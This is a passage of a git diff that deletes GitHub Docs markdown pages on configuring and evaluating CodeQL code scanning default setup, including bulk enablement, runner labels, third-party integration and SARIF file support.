advanced-security:not-enabled` shows which repositories have languages suitable for default setup but do not have {% data variables.product.prodname_GHAS %} enabled. Once you enable {% data variables.product.prodname_GHAS %} for these repositories, they can also be added to default setup. - - `code-scanning-default-setup:not-eligible` shows repositories that are ineligible for default setup enablement at scale for any of the following reasons: - - The repositories already have existing configurations of advanced setup. - - The repositories only contain languages that cannot be analyzed by default setup. - - The repositories do not have {% data variables.product.prodname_GHAS %} enabled. -{%- endif %} - -You can select all of the displayed repositories, or a subset of them, and enable or disable default setup for {% data variables.product.prodname_code_scanning %} for them all at the same time. For more information, see step 5 of [Configuring default setup at scale for multiple repositories in an organization](#configuring-default-setup-at-scale-for-multiple-repositories-in-an-organization). - -### Configuring default setup at scale for multiple repositories in an organization - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.security-overview %} -{% data reusables.security-overview.security-overview-coverage-view %} -1. You can use the search bar to narrow down visible repositories in the "Security coverage" view based on name, or on the enablement status of security features. For example, to filter for repositories that are eligible for default setup and do not currently have default setup enabled, search for `code-scanning-default-setup:eligible`. -1. In the list of repositories, select each repository you want to enable {% data variables.product.prodname_code_scanning %} for. - * To enable {% data variables.product.prodname_code_scanning %} for all repositories on the page, select the checkbox next to **NUMBER Active**. - * To enable {% data variables.product.prodname_code_scanning %} for all repositories that match the current search, select the checkbox next to **NUMBER Active**, then click **Select all NUMBER repos**. -1. Click **Security settings** next to **NUMBER selected**. -1. In the side panel, in the "{% data variables.product.prodname_codeql %} Default Setup" section, select **No change**, then click **Enable**. -1. To confirm the enablement of {% data variables.product.prodname_code_scanning %} for the selected repositories, click **Apply changes NUMBER**. Alternatively, to select or deselect more repositories for {% data variables.product.prodname_code_scanning %} enablement, click {% octicon "x" aria-label="Close" %} to close the panel without applying your changes. - -> [!NOTE] -{%- ifversion ghes > 3.12 %} -> * Enabling {% data variables.product.prodname_code_scanning %} for multiple repositories in an organization using security overview will override any existing {% data variables.product.prodname_code_scanning %} configurations for the selected repositories, including any previous query suite selections and workflows for advanced setups. -> * You can enable default setup for eligible repositories that do not contain {% data variables.product.prodname_codeql %}-supported languages. If a {% data variables.product.prodname_codeql %}-supported language is later added to one of these repositories, default setup will begin scanning that repository and consuming {% data variables.product.prodname_actions %} minutes. -{%- else %} -> Enabling {% data variables.product.prodname_code_scanning %} for multiple repositories in an organization using security overview will override any existing {% data variables.product.prodname_code_scanning %} configurations for the selected repositories, including any previous query suite selections and workflows for advanced setups. -{%- endif %} - - ![Screenshot of the "Security coverage" view with the side panel open. The "Apply changes" button is highlighted in a dark orange outline.](/assets/images/help/security-overview/security-coverage-view-multi-repo-side-panel.png) - - If you're blocked from enabling {% data variables.product.prodname_code_scanning %} due to an enterprise policy, you will still be able to see the affected repository in the "Security Coverage" view and access the side panel from the **{% octicon "gear" aria-hidden="true" %} Security settings** button. However, you will see a message in the side panel indicating that you cannot enable {% data variables.product.prodname_code_scanning %} for the selected repositories. For more information about enterprise policies, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise). - -{% endif %} - -{% ifversion code-scanning-merge-protection-rulesets %} -{% ifversion ghes or ghec %} - -## Configuring merge protection for all repositories in an organization - -You can use rulesets to prevent pull requests from being merged when one of the following conditions is met: - -{% data reusables.code-scanning.merge-protection-rulesets-conditions %} - -For more information, see [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/set-code-scanning-merge-protection#creating-a-merge-protection-ruleset-for-all-repositories-in-an-organization). For more general information about rulesets, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/about-rulesets). - -{% endif %} -{% endif %} diff --git a/content/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning.md b/content/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning.md deleted file mode 100644 index 1ec5843d001d..000000000000 --- a/content/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning.md +++ /dev/null @@ -1,145 +0,0 @@ ---- -title: Configuring default setup for code scanning -shortTitle: Configure code scanning -intro: 'Quickly set up {% data variables.product.prodname_code_scanning %} to find {% ifversion fpt or ghec %}and fix {% endif %}vulnerable code automatically.' -redirect_from: - - /github/managing-security-vulnerabilities/configuring-automated-code-scanning - - /github/finding-security-vulnerabilities-and-errors-in-your-code/enabling-code-scanning - - /github/finding-security-vulnerabilities-and-errors-in-your-code/enabling-code-scanning-for-a-repository - - /github/finding-security-vulnerabilities-and-errors-in-your-code/setting-up-code-scanning-for-a-repository - - /code-security/secure-coding/setting-up-code-scanning-for-a-repository - - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository - - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository - - /code-security/secure-coding/configuring-code-scanning-for-a-repository - - /github/finding-security-vulnerabilities-and-errors-in-your-code/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository - - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning-for-a-repository - - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-default-setup-for-code-scanning -permissions: '{% data reusables.permissions.security-repo-enable %}' -product: '{% data reusables.gated-features.code-scanning %}' -type: how_to -topics: - - Code Security - - Code scanning -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -## About default setup - -Default setup for {% data variables.product.prodname_code_scanning %} is the quickest, easiest, most low-maintenance way to enable {% data variables.product.prodname_code_scanning %} for your repository. Based on the code in your repository, default setup will automatically create a custom {% data variables.product.prodname_code_scanning %} configuration. After enabling default setup, the code written in {% data variables.product.prodname_codeql %}-supported languages in your repository will be scanned: -* On each push to the repository's default branch, or any protected branch. For more information on protected branches, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches). -* When creating or committing to a pull request based against the repository's default branch, or any protected branch, excluding pull requests from forks. -* On a weekly schedule. - -{% ifversion code-scanning-default-setup-exclude-dormant-repos %} - -> [!NOTE] -> If no pushes and pull requests have occurred in a repository with default setup enabled for 6 months, the weekly schedule will be disabled to save your {% data variables.product.prodname_actions %} minutes. - -{% endif %} - -You can also enable default setup for multiple or all repositories in an organization at the same time. For information on bulk enablement, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning-at-scale). - -If you need more granular control over your {% data variables.product.prodname_code_scanning %} configuration, you should instead configure advanced setup. For more information, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/configuring-advanced-setup-for-code-scanning). - -### Requirements for using default setup - -Your repository is eligible for default setup for {% data variables.product.prodname_code_scanning %} if:{% ifversion default-setup-pre-enablement %} -<!-- No restrictions on languages. Can be set up before CodeQL supported languages are added. --> -{% else %} -* It includes at least one {% data variables.product.prodname_codeql %}-supported language.{% endif %} -{% data reusables.code-scanning.require-actions-ghcs %} - -{% ifversion default-setup-pre-enablement %} -{% data reusables.code-scanning.default-setup-pre-enablement-explanation %} -{% else %} -If your repository includes at least one {% data variables.product.prodname_codeql %}-supported language, you can use default setup even if your repository also includes languages that aren't supported by {% data variables.product.prodname_codeql %}, such as R. Unsupported languages will not be scanned by default setup. For more information on {% data variables.product.prodname_codeql %}-supported languages, see [AUTOTITLE](/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning-with-codeql#about-codeql). -{% endif %} - -You can use default setup for all {% data variables.product.prodname_codeql %}-supported languages for self-hosted runners or {% data variables.product.prodname_dotcom %}-hosted runners. See [Assigning labels to runners](#assigning-labels-to-runners), later in this article. - -{% ifversion codeql-no-build %}Default setup uses the `none` build mode for {% data variables.code-scanning.no_build_support %} and uses the `autobuild` build mode for other compiled languages. You should configure your self-hosted runners to make sure they can run all the necessary commands for C/C++, C#, and Swift analysis. Analysis of JavaScript/TypeScript, Go, Ruby, Python, and Kotlin code does not currently require special configuration.{% else %}Default setup runs the `autobuild` action, so you should configure your self-hosted runners to make sure they can run all the necessary commands for {% data variables.code-scanning.compiled_languages %} analysis. Analysis of JavaScript/TypeScript, Go, Ruby, Python, and Kotlin code does not currently require special configuration.{% endif %} - -### Customizing default setup - -We recommend that you start using {% data variables.product.prodname_code_scanning %} with default setup. After you've initially configured default setup, you can evaluate {% data variables.product.prodname_code_scanning %} to see how it's working for you. If you find that something isn't working as you expect, you can customize default setup to better meet your needs. For more information, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/evaluating-default-setup-for-code-scanning). - -### About adding non-compiled and compiled languages to your default setup - -If the code in a repository changes to include Go, JavaScript/TypeScript, Python, or Ruby, {% data variables.product.prodname_dotcom %} will automatically update the {% data variables.product.prodname_code_scanning %} configuration to include the new language. If {% data variables.product.prodname_code_scanning %} fails with the new configuration, {% data variables.product.prodname_dotcom %} will resume the previous configuration automatically so the repository does not lose {% data variables.product.prodname_code_scanning %} coverage. - -Compiled languages are not automatically included in default setup configuration because they often require more advanced configuration, but you can manually select any {% data variables.product.prodname_codeql %}-supported compiled language for analysis. - -## Configuring default setup for a repository - -> [!NOTE] -{% ifversion default-setup-pre-enablement %}> If the analyses fail for all {% data variables.product.prodname_codeql %}-supported languages in a repository, default setup will still be enabled, but it will not run any scans or use any {% data variables.product.prodname_actions %} minutes until another {% data variables.product.prodname_codeql %}-supported language is added to the repository or default setup is manually reconfigured, and the analysis of a {% data variables.product.prodname_codeql %}-supported language succeeds. -{% else %}> At least one {% data variables.product.prodname_codeql %}-supported language's analysis in a repository must succeed, or else default setup will not be successfully enabled in that repository. -{% endif %} - -{% data reusables.repositories.navigate-to-repo %} - - > [!NOTE] - > If you are configuring default setup on a fork, you must first enable {% data variables.product.prodname_actions %}. To enable {% data variables.product.prodname_actions %}, under your repository name, click **{% octicon "play" aria-hidden="true" %} Actions**, then click **I understand my workflows, go ahead and enable them**. Be aware that this will enable all existing workflows on your fork. - -{% data reusables.repositories.sidebar-settings %} -{% data reusables.user-settings.security-analysis %} -1. In the "{% data variables.product.prodname_code_scanning_caps %}" section, select **Set up** {% octicon "triangle-down" aria-hidden="true" %}, then click **Default**. - - ![Screenshot of the "{% data variables.product.prodname_code_scanning_caps %}" section of "{% data variables.product.UI_advanced_security %}" settings. The "Default setup" button is highlighted with an orange outline.](/assets/images/help/security/default-code-scanning-setup.png) - - You will then see a "{% data variables.product.prodname_codeql %} default configuration" dialog summarizing the {% data variables.product.prodname_code_scanning %} configuration automatically created by default setup. - - > [!NOTE] - > If your repository contains _only_ compiled {% data variables.product.prodname_codeql %}-supported languages (for example, Java), you will be taken to the settings page to select the languages you want to add to your default setup configuration. - -1. Optionally, to customize your {% data variables.product.prodname_code_scanning %} setup, click **{% octicon "pencil" aria-hidden="true" %} Edit**. - * To add or remove a language from the analysis performed by default setup, select or deselect that language in the "Languages" section. If you would like to analyze a {% data variables.product.prodname_codeql %}-supported compiled language with default setup, select that language here. - * To specify the {% data variables.product.prodname_codeql %} query suite you would like to use, select your preferred query suite in the "Query suites" section. - -1. Review the settings for default setup on your repository, then click **Enable {% data variables.product.prodname_codeql %}**. This will trigger a workflow that tests the new, automatically generated configuration. - - > [!NOTE] - > If you are switching to default setup from advanced setup, you will see a warning informing you that default setup will override existing {% data variables.product.prodname_code_scanning %} configurations. This warning means default setup will disable the existing workflow file and block any {% data variables.product.prodname_codeql %} analysis API uploads. - -1. Optionally, to view your default setup configuration after enablement, select {% octicon "kebab-horizontal" aria-label="Menu" %}, then click **{% octicon "gear" aria-hidden="true" %} View {% data variables.product.prodname_codeql %} configuration**. - -## Assigning labels to runners - ->[!NOTE]{% data variables.product.prodname_code_scanning_caps %} sees assigned runners when default setup is enabled. If a runner is assigned to a repository that is already running default setup, you must disable and re-enable default setup to start using the runner. If you add a runner and want to start using it, you can change the configuration manually without needing to disable and re-enable default setup. - -You can also assign self-hosted runners{% ifversion code-scanning-default-setup-customize-labels %} with the default `code-scanning` label, or you can optionally give them custom labels so that individual repositories can use different runners.{% else %}with the `code-scanning` label.{% endif %} For information about assigning labels to self-hosted runners, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/using-labels-with-self-hosted-runners). - -{% ifversion code-scanning-default-setup-customize-labels %} - -Specifying custom labels for self-hosted runners is optional. Unless you have a specific use case, we recommend that you only assign runners with the default `code-scanning` label. For example, you may want to: - -* Assign more powerful self-hosted runners to critical repositories for faster {% data variables.product.prodname_code_scanning %} analysis. -* Run your {% data variables.product.prodname_code_scanning %} analyses on a particular platform (for example, macOS). -* Have granular control over the workload for your {% data variables.product.prodname_dotcom %}-hosted runners and self-hosted runners. - -Once you've assigned custom labels to self-hosted runners, your repositories can use those runners for {% data variables.product.prodname_code_scanning %} default setup. For more information, see [Configuring default setup for a repository](#configuring-default-setup-for-a-repository), earlier in this article. - -You can also use {% data variables.product.prodname_security_configurations %} to assign labels to self-hosted runners for {% data variables.product.prodname_code_scanning %}. See [AUTOTITLE](/code-security/securing-your-organization/meeting-your-specific-security-needs-with-custom-security-configurations/creating-a-custom-security-configuration#creating-a-custom-security-configuration). - -{% endif %} - -{% ifversion fpt or ghec %} - -### Assigning {% data variables.actions.hosted_runners %} - -To assign a {% data variables.actions.hosted_runner %}, name the runner `code-scanning`. This will automatically add the `code-scanning` label to the {% data variables.actions.hosted_runner %}. An organization can only have one {% data variables.actions.hosted_runner %} with the `code-scanning` label, and that runner will handle all {% data variables.product.prodname_code_scanning %} jobs from repositories within your organization with access to the runner's group. See [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/configuring-larger-runners-for-default-setup#provisioning-organization-level-larger-runners-for-default-setup). - -{% endif %} - -## Next steps - -After your configuration runs successfully at least once, you can start examining and resolving {% data variables.product.prodname_code_scanning %} alerts. For more information on {% data variables.product.prodname_code_scanning %} alerts, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/about-code-scanning-alerts) and [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/assessing-code-scanning-alerts-for-your-repository). - -After you've configured default setup for {% data variables.product.prodname_code_scanning %}, you can read about evaluating how it's working for you and the next steps you can take to customize it. For more information, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/evaluating-default-setup-for-code-scanning). - -You can find detailed information about your {% data variables.product.prodname_code_scanning %} configuration, including timestamps for each scan and the percentage of files scanned, on the tool status page. For more information, see [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/about-the-tool-status-page). - -When you configure default setup, you may encounter an error. For information on troubleshooting specific errors, see [AUTOTITLE](/code-security/code-scanning/troubleshooting-code-scanning). diff --git a/content/code-security/code-scanning/enabling-code-scanning/evaluating-default-setup-for-code-scanning.md b/content/code-security/code-scanning/enabling-code-scanning/evaluating-default-setup-for-code-scanning.md deleted file mode 100644 index e4f8d1d72ef1..000000000000 --- a/content/code-security/code-scanning/enabling-code-scanning/evaluating-default-setup-for-code-scanning.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Evaluating default setup for code scanning -shortTitle: Evaluate code scanning -intro: 'Learn how to assess how code scanning is working for you, and how you can customize your setup to best meet your needs.' -permissions: '{% data reusables.permissions.security-repo-enable %}' -type: how_to -topics: - - Code Security - - Code scanning -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -When you first start using {% data variables.product.prodname_code_scanning %}, you'll likely use default setup. This guide describes how to evaluate how default setup for {% data variables.product.prodname_code_scanning %} is working for you, and what steps to take if something isn't working as you expect. This guide also describes how you can customize {% data variables.product.prodname_code_scanning %} if you find that you have a specific use case that your new configuration doesn't fit. - -## Customizing {% data variables.product.prodname_code_scanning %} - -When you first configure default setup, or after an initial analysis of your code, you can edit which languages default setup will analyze and the query suite run during analysis. The `default` query suite contains a set of queries that are carefully designed to look for the most relevant security issues, while minimizing false positive results. However, you can use the `security-extended` suite to run additional queries, which have slightly lower precision. For more information on the available query suites, see [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/codeql-query-suites). - -For more information about customizing default setup, see [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/editing-your-configuration-of-default-setup). - -### Using advanced setup - -If you've found that you still need more granular control over {% data variables.product.prodname_code_scanning %}, you can use advanced setup. Advanced setup requires significantly more effort to configure, customize, and maintain, so we recommend enabling default setup first. For more information about advanced setup, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/configuring-advanced-setup-for-code-scanning) and [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning). - -## Evaluating {% data variables.product.prodname_code_scanning %} with the {% data variables.code-scanning.tool_status_page %} - -The {% data variables.code-scanning.tool_status_page %} shows useful information about all of your {% data variables.product.prodname_code_scanning %} tools. You can use it to investigate whether individual tools are working for a repository, when files in the repository were first scanned and most recently scanned, and when upcoming scans are scheduled. It's also a useful starting point for debugging issues. - -Using the {% data variables.code-scanning.tool_status_page %}, you can download the list of rules that {% data variables.product.prodname_code_scanning %} is checking against, in CSV format. For integrated tools like {% data variables.product.prodname_codeql %}, you can also see more detailed information, including a percentage of files scanned and specific error messages. - -If you find that default setup doesn't scan all your files, you may need to customize {% data variables.product.prodname_code_scanning %}. For more information, see [Customizing code scanning](#customizing-code-scanning) in this article. Alternatively, or if something else isn't working as you expect, you may find our dedicated troubleshooting documentation useful. For more information, see [AUTOTITLE](/code-security/code-scanning/troubleshooting-code-scanning). - -For more detailed information about the {% data variables.code-scanning.tool_status_page %}, see [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/about-the-tool-status-page#viewing-the-tool-status-page-for-a-repository). diff --git a/content/code-security/code-scanning/enabling-code-scanning/index.md b/content/code-security/code-scanning/enabling-code-scanning/index.md deleted file mode 100644 index cb3b69415318..000000000000 --- a/content/code-security/code-scanning/enabling-code-scanning/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Enabling code scanning -shortTitle: Enable code scanning -intro: 'You can quickly and easily secure your code with default setup for {% data variables.product.prodname_code_scanning %}.' -product: '{% data reusables.gated-features.code-scanning %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Code Security - - Code scanning - - CodeQL -children: - - /configuring-default-setup-for-code-scanning - - /evaluating-default-setup-for-code-scanning - - /configuring-default-setup-for-code-scanning-at-scale ---- diff --git a/content/code-security/code-scanning/index.md b/content/code-security/code-scanning/index.md deleted file mode 100644 index 32ea98bbb454..000000000000 --- a/content/code-security/code-scanning/index.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Finding security vulnerabilities and errors in your code with code scanning -shortTitle: Code scanning -allowTitleToDifferFromFilename: true -intro: 'Keep your code secure by using {% data variables.product.prodname_code_scanning %} to identify and fix potential security vulnerabilities and other errors in your code.' -product: '{% data reusables.gated-features.code-scanning %}' -redirect_from: - - /github/managing-security-vulnerabilities/finding-security-vulnerabilities-in-your-projects-code - - /github/finding-security-vulnerabilities-and-errors-in-your-code - - /code-security/secure-coding -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Code Security - - Code scanning - - CodeQL -children: - - /introduction-to-code-scanning - - /enabling-code-scanning - - /creating-an-advanced-setup-for-code-scanning - - /managing-code-scanning-alerts - - /managing-your-code-scanning-configuration - - /integrating-with-code-scanning - - /troubleshooting-code-scanning - - /troubleshooting-sarif-uploads ---- diff --git a/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md b/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md deleted file mode 100644 index 897f4ceeccd8..000000000000 --- a/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: About integration with code scanning -shortTitle: About integration -intro: 'You can perform {% data variables.product.prodname_code_scanning %} externally and then display the results in {% data variables.product.prodname_dotcom %}, or configure webhooks that listen to {% data variables.product.prodname_code_scanning %} activity in your repository.' -product: '{% data reusables.gated-features.code-scanning %}' -redirect_from: - - /github/finding-security-vulnerabilities-and-errors-in-your-code/about-integration-with-code-scanning - - /code-security/secure-coding/about-integration-with-code-scanning - - /code-security/secure-coding/integrating-with-code-scanning/about-integration-with-code-scanning - - /github/finding-security-vulnerabilities-and-errors-in-your-code/integrating-with-code-scanning/about-integration-with-code-scanning -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: overview -topics: - - Code Security - - Code scanning - - Webhooks - - Integration ---- - -## About integration with code scanning - -{% data reusables.code-scanning.enterprise-enable-code-scanning %} - -As an alternative to running {% data variables.product.prodname_code_scanning %} within {% data variables.product.prodname_dotcom %}, you can perform analysis elsewhere, using the CodeQL CLI or another static analysis tool, and then upload the results. For more information, see [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/using-code-scanning-with-your-existing-ci-system). - -{% data reusables.code-scanning.about-multiple-configurations-link %} - -## Integrations with webhooks - -You can use {% data variables.product.prodname_code_scanning %} webhooks to build or configure integrations, such as [{% data variables.product.prodname_github_apps %}](/apps/creating-github-apps/setting-up-a-github-app) or [{% data variables.product.prodname_oauth_apps %}](/apps/oauth-apps/building-oauth-apps), that subscribe to {% data variables.product.prodname_code_scanning %} events in your repository. For example, you could build an integration that creates an issue on {% data variables.product.github %} or sends you a Slack notification when a new {% data variables.product.prodname_code_scanning %} alert is added in your repository. For more information, see [AUTOTITLE](/webhooks) and [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#code_scanning_alert). - -## Further reading - -* [AUTOTITLE](/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning) -* [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/using-code-scanning-with-your-existing-ci-system) -* [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning) diff --git a/content/code-security/code-scanning/integrating-with-code-scanning/index.md b/content/code-security/code-scanning/integrating-with-code-scanning/index.md deleted file mode 100644 index f23fd5a5066d..000000000000 --- a/content/code-security/code-scanning/integrating-with-code-scanning/index.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Integrating with code scanning -shortTitle: Integrate with code scanning -intro: 'You can integrate third-party code analysis tools with {% data variables.product.prodname_dotcom %} {% data variables.product.prodname_code_scanning %} by uploading data as SARIF files.' -product: '{% data reusables.gated-features.code-scanning %}' -redirect_from: - - /github/finding-security-vulnerabilities-and-errors-in-your-code/managing-results-from-code-scanning - - /github/finding-security-vulnerabilities-and-errors-in-your-code/integrating-with-code-scanning - - /code-security/secure-coding/integrating-with-code-scanning -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Code Security - - Code scanning - - Integration -children: - - /about-integration-with-code-scanning - - /using-code-scanning-with-your-existing-ci-system - - /uploading-a-sarif-file-to-github - - /sarif-support-for-code-scanning ---- diff --git a/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md b/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md deleted file mode 100644 index 615b644af751..000000000000 --- a/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md +++ /dev/null @@ -1,645 +0,0 @@ ---- -title: SARIF support for code scanning -shortTitle: SARIF support -intro: 'To display results from a third-party static analysis tool in your repository on {% data variables.product.prodname_dotcom %}, you''ll need your results stored in a SARIF file that supports a specific subset of the SARIF 2.1.0 JSON schema for {% data variables.product.prodname_code_scanning %}. If you use the default {% data variables.product.prodname_codeql %} static analysis engine, then your results will display in your repository on {% data variables.product.prodname_dotcom %} automatically.' -product: '{% data reusables.gated-features.code-scanning %}' -redirect_from: - - /github/finding-security-vulnerabilities-and-errors-in-your-code/about-sarif-support-for-code-scanning - - /github/finding-security-vulnerabilities-and-errors-in-your-code/sarif-support-for-code-scanning - - /code-security/secure-coding/sarif-support-for-code-scanning - - /code-security/secure-coding/integrating-with-code-scanning/sarif-support-for-code-scanning - - /github/finding-security-vulnerabilities-and-errors-in-your-code/integrating-with-code-scanning/sarif-support-for-code-scanning -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: reference -topics: - - Code Security - - Code scanning - - Integration - - SARIF ---- - -## About SARIF support - -SARIF (Static Analysis Results Interchange Format) is an [OASIS Standard](https://docs.oasis-open.org/sarif/sarif/v2.1.0/sarif-v2.1.0.html) that defines an output file format. The SARIF standard is used to streamline how static analysis tools share their results. {% data variables.product.prodname_code_scanning_caps %} supports a subset of the SARIF 2.1.0 JSON schema. - -To upload a SARIF file from a third-party static code analysis engine, you'll need to ensure that uploaded files use the SARIF 2.1.0 version. {% data variables.product.prodname_dotcom %} will parse the SARIF file and show alerts using the results in your repository as a part of the {% data variables.product.prodname_code_scanning %} experience. For more information, see [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github). For more information about the SARIF 2.1.0 JSON schema, see [`sarif-schema-2.1.0.json`](https://github.com/oasis-tcs/sarif-spec/blob/123e95847b13fbdd4cbe2120fa5e33355d4a042b/Schemata/sarif-schema-2.1.0.json). - -If you're using {% data variables.product.prodname_actions %} with the {% data variables.code-scanning.codeql_workflow %} or using the {% data variables.product.prodname_codeql_cli %}, then the {% data variables.product.prodname_code_scanning %} results will automatically use the supported subset of SARIF 2.1.0. For more information, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/configuring-advanced-setup-for-code-scanning) or [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/using-code-scanning-with-your-existing-ci-system). - -{% data variables.product.prodname_dotcom %} uses properties in the SARIF file to display alerts. For example, the `shortDescription` and `fullDescription` appear at the top of a {% data variables.product.prodname_code_scanning %} alert. The `location` allows {% data variables.product.prodname_dotcom %} to show annotations in your code file. For more information, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/about-code-scanning-alerts). - -If you're new to SARIF and want to learn more, see Microsoft's [`SARIF tutorials`](https://github.com/microsoft/sarif-tutorials) repository. - -## Providing data to track {% data variables.product.prodname_code_scanning %} alerts across runs - -Each time the results of a new code scan are uploaded, the results are processed and alerts are added to the repository. To prevent duplicate alerts for the same problem, {% data variables.product.prodname_code_scanning %} uses fingerprints to match results across various runs so they only appear once in the latest run for the selected branch. This makes it possible to match alerts to the correct line of code when files are edited. The `ruleId` for a result has to be the same across analysis. - -### Reporting consistent filepaths - -The filepath has to be consistent across the runs to enable a computation of a stable fingerprint. If the filepaths differ for the same result, each time there is a new analysis a new alert will be created, and the old one will be closed. This will cause having multiple alerts for the same result. - -### Including data for fingerprint generation - -{% data variables.product.prodname_dotcom %} uses the `partialFingerprints` property in the OASIS standard to detect when two results are logically identical. For more information, see the [partialFingerprints property](https://docs.oasis-open.org/sarif/sarif/v2.1.0/cs01/sarif-v2.1.0-cs01.html#_Toc16012611) entry in the OASIS documentation. - -SARIF files created by the {% data variables.code-scanning.codeql_workflow %}, or using the {% data variables.product.prodname_codeql_cli %} include fingerprint data. If you upload a SARIF file using the `upload-sarif` action and this data is missing, {% data variables.product.prodname_dotcom %} attempts to populate the `partialFingerprints` field from the source files. For more information about uploading results, see [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github). - -If you upload a SARIF file without fingerprint data using the `/code-scanning/sarifs` API endpoint, the {% data variables.product.prodname_code_scanning %} alerts will be processed and displayed, but users may see duplicate alerts. To avoid seeing duplicate alerts, you should calculate fingerprint data and populate the `partialFingerprints` property before you upload the SARIF file. You may find the script that the `upload-sarif` action uses a helpful starting point: https://github.com/github/codeql-action/blob/main/src/fingerprints.ts. For more information about the API, see [AUTOTITLE](/rest/code-scanning/code-scanning#upload-an-analysis-as-sarif-data). - -## Understanding rules and results - -SARIF files support both rules and results. The information stored in these elements is similar but serves different purposes. - -* Rules are an array of `reportingDescriptor` objects that are included in the `toolComponent` object. This is where you store details of the rules that are run during analysis. Information in these objects should change infrequently, typically when you update the tool. - -* Results are stored as a series of `result` objects under `results` in the `run` object. Each `result` object contains details for one alert in the codebase. Within the `results` object, you can reference the rule that detected the alert. - -When you compare SARIF files generated by analyzing different codebases with the same tool and rules, you should see differences in the results of the analyses but not in the rules. - -## Specifying the location for source files - -Specifying source file locations and lines of code ensures code scanning alerts are displayed accurately within the file containing the identified problem, allowing for targeted issue resolution. - -This precision enhances the efficiency of code review and resolution processes, streamlining development workflows by enabling developers to address issues directly in the context of their codebase. - -{% data variables.product.prodname_code_scanning_caps %} will also display alerts in pull request check results when all the lines of code identified by the alert exist in the pull request diff. - -For display in a pull request check, an alert must meet all the following conditions: - -* All the lines of code identified by the alert exist in the pull request diff, including the first line of the alert. -* The alert must exist in the lines of code added or edited in the pull request, not lines that were deleted. - -The `physicalLocation` object in a submitted SARIF file identifies the lines of code for an alert. For more information, see [`physicalLocation` object](#physicallocation-object). - -### Specifying the root for source files - -{% data variables.product.prodname_code_scanning_caps %} interprets results that are reported with relative paths as relative to the root of the repository analyzed. If a result contains an absolute URI, the URI is converted to a relative URI. The relative URI can then be matched against a file committed to the repository. - -You can provide the source root for conversion from absolute to relative URIs in one of the following ways. - -* [`checkout_path`](https://github.com/github/codeql-action/blob/c2c0a2908e95769d01b907f9930050ecb5cf050d/analyze/action.yml#L44-L47) input to the `github/codeql-action/analyze` action -* `checkout_uri` parameter to the SARIF upload API endpoint. For more information, see [AUTOTITLE](/rest/code-scanning/code-scanning#upload-an-analysis-as-sarif-data). -* [`invocations[0].workingDirectory.uri`](https://docs.oasis-open.org/sarif/sarif/v2.1.0/csprd01/sarif-v2.1.0-csprd01.html#_Toc9244365) property in the `run` object in the SARIF file - -If you provide a source root, any location of an artifact specified using an absolute URI must use the same URI scheme. If there is a mismatch between the URI scheme for the source root and one 